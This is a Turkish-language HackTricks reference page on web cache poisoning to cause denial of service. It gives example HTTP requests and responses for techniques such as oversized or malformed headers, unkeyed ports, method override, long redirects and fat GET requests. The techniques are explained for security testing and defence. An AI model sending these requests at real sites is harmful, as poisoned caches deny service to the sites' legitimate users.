Cache Poisoning to DoS
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
caution
Bu sayfada cache sunucuları için geçerli olan isteklere hata ile yanıt veren web sunucusu oluşturmak için farklı varyasyonlar bulabilirsiniz.
- HTTP Header Oversize (HHO)
Web sunucusu tarafından desteklenen boyuttan daha büyük ancak cache sunucusu tarafından desteklenen boyuttan daha küçük bir başlık boyutuyla bir istek gönderin. Web sunucusu, önbelleğe alınabilecek 400 yanıtı ile yanıt verecektir:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Karakteri (HMC) & Beklenmeyen Değerler
Bazı zararlı meta karakterler içeren bir başlık gönderin, örneğin ve . Saldırının çalışması için önce önbelleği atlatmalısınız.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Kötü yapılandırılmış bir başlık sadece \:
olarak bir başlık olabilir.
Bu, beklenmeyen değerler gönderildiğinde de çalışabilir, örneğin beklenmeyen Content-Type: gibi.
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Anahtarsız başlık
Bazı web siteleri, X-Amz-Website-Location-Redirect: someThing başlığı gibi istekteki belirli başlıkları gördüklerinde bir hata durum kodu döndürecektir:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP Yöntem Aşımı Saldırısı (HMO)
Eğer sunucu X-HTTP-Method-Override
, X-HTTP-Method
veya X-Method-Override
gibi başlıklarla HTTP yöntemini değiştirmeyi destekliyorsa, yöntemi değiştirerek geçerli bir sayfa talep etmek mümkündür, böylece sunucu bunu desteklemediği için kötü bir yanıt önbelleğe alınır:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Anahtarsız Port
Eğer Host başlığındaki port, yanıtta yansıtılıyorsa ve önbellek anahtarında yer almıyorsa, kullanılmayan bir porta yönlendirmek mümkündür:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Uzun Yönlendirme DoS
Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu nedenle bir saldırgan yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin o kadar büyük bir URL göndermesini sağlayabilir ki bu bir hata döndürsün. Ardından, önbelleğe alınmamış x anahtarı olmadan URL'ye erişmeye çalışan kişiler hata yanıtı alacaktır:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Host başlığı büyük/küçük harf normalizasyonu
Host başlığı büyük/küçük harf duyarsız olmalıdır ancak bazı web siteleri bunun küçük harfle yazılmasını bekler ve eğer değilse bir hata döner:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Yol normalizasyonu
Bazı sayfalar, yolda URLencode edilmiş veri gönderildiğinde hata kodları döndürecektir, ancak önbellek sunucusu yolu URLdecode edecek ve URLdecoded yol için yanıtı saklayacaktır:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Bazı önbellek sunucuları, örneğin Cloudflare veya web sunucuları, gövdesi olan GET isteklerini durdurur, bu nedenle geçersiz bir yanıtı önbelleğe almak için kötüye kullanılabilir:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Referanslar
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.